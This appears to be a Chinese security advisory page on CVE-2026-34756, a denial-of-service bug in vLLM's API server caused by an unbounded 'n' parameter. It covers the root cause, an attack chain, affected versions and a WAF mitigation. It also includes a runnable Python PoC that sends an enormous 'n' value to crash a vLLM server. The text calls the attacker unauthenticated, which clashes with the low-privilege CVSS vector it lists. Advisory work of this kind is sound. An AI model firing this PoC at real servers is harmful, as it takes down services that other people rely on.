IPBUF安全漏洞报告
English
CVE-2026-34756 CVSS 6.5 中危

CVE-2026-34756 vLLM拒绝服务漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-34756
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
vLLM

相关标签

拒绝服务DoSvLLMLLM内存耗尽CVSS-6.5

漏洞概述

vLLM是一个用于大语言模型的推理和服务引擎。在0.1.0至0.19.0之前的版本中,其OpenAI兼容API服务器存在一处拒绝服务漏洞。该漏洞源于ChatCompletionRequest和CompletionRequest Pydantic模型中未对n参数设置上限验证。未经过身份验证的攻击者可发送包含超大n值的HTTP请求。这将导致Python asyncio事件循环被完全阻塞,并通过在堆中分配数百万个请求对象副本引发立即的内存耗尽崩溃,导致服务不可用。该问题已在0.19.0版本中修复。

技术细节

该漏洞的根因在于vLLM在处理API请求时,未对请求参数中的`n`值进行合理的边界检查。由于Pydantic模型缺乏约束,攻击者可以传入一个极大的整数。当服务器尝试处理该请求时,基于该参数的逻辑会在Python的异步事件循环中执行。由于操作量级巨大,这直接阻塞了单线程的事件循环,导致无法处理其他连接。同时,瞬间分配的数百万个对象会迅速耗尽系统堆内存,触发OOM Killer强制终止进程。这种攻击方式利用了资源耗尽原理,无需复杂交互即可实现DoS。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在运行vLLM OpenAI兼容API服务器(通常为8000端口)。
STEP 2
利用
攻击者构造特制的HTTP POST请求发送至/v1/chat/completions接口,其中包含一个极大的整数值作为'n'参数。
STEP 3
资源耗尽
服务器接收请求后,由于缺乏校验,尝试基于该参数分配大量内存对象,阻塞asyncio事件循环。
STEP 4
拒绝服务
服务器内存耗尽(OOM)并崩溃,导致无法响应后续任何请求,服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_vllm_dos(target_url): """ PoC for CVE-2026-34756 Sends a request with a massive 'n' parameter to trigger OOM. """ url = f"{target_url}/v1/chat/completions" headers = { "Content-Type": "application/json" } # Payload with astronomical 'n' value # This bypasses validation and causes OOM payload = { "model": "any-model", "messages": [{"role": "user", "content": "test"}], "n": 999999999999 # Trigger the vulnerability } try: print(f"Sending exploit payload to {url}...") response = requests.post(url, json=payload, headers=headers, timeout=10) print(f"Response Status: {response.status_code}") except Exception as e: print(f"Exploit likely successful (Server crashed/OOM): {e}") if __name__ == "__main__": # Replace with actual target target = "http://localhost:8000" exploit_vllm_dos(target)

影响范围

vLLM >= 0.1.0, < 0.19.0

防御指南

临时缓解措施
如果无法立即升级,建议在API网关或WAF处添加规则,检测并拦截包含异常大数值'n'参数的请求,从而保护后端vLLM服务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表